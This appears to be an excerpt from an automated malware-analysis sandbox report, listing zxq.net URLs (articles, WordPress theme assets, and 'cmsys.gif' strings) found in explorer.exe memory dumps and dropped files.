Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifem
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifen
Source: explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifet
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifn
Source: explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifnhYZ
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifnxYJ
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifom
Source: explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifz
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/contact-us/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/customizable-online-games-a-personalized-gaming-experience/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/diy-home-repair-projects-for-busy-singaporeans/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/essential-factors-to-consider-for-effective-water-extraction-services/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/exploring-the-world-of-green-herb-the-ultimate-showdown-of-flavours-and-quality/
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325346008.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/feed/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/how-to-handle-quick-home-repairs-without-professional-help-in-singapore/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/business/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/entertainment/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/science-health/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/technology/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/privacy-policy/
Source: explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/snoring-and-sleep-apne
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/snoring-and-sleep-apnea/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/transform-your-space-simple-home-repairs-for-singaporeans/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/#breadcrumb
Source: explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/#webpage
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/-
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/0810
Source: explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/C:
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/E
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/J
Source: explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/K
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/LMEMpbr
Source: explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/LMEMpbr4U1
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/LMEMpbr_W
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/U
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/XY
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/Yr
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/Z
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/br
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/br4U1
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/cisc
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/h
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/hYZ
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/m32
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/nOX
Source: explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/rrC:
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/v
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/vi
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/x
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/plugins/table-of-contents-plus/front.min.js?ver=2106
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/plugins/table-of-contents-plus/screen.min.css?ver=2106
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325346008.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/css/icons/icons.css?ver=7.1.1
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/css/lightbox.css?ver=7.1.1
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/js/jquery.mfp-lightbox.js?ver=7.1.1
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/js/jquery.sticky-sidebar.js?ver=7.1.1
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B85000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/js/lazyload.js?ver=7.1.1
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/js/theme.js?ver=7.1.1
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/style.css?ver=7.1.1
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/02/ZXQ-FB.png
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/uploads/2022/02/ZXQ.png
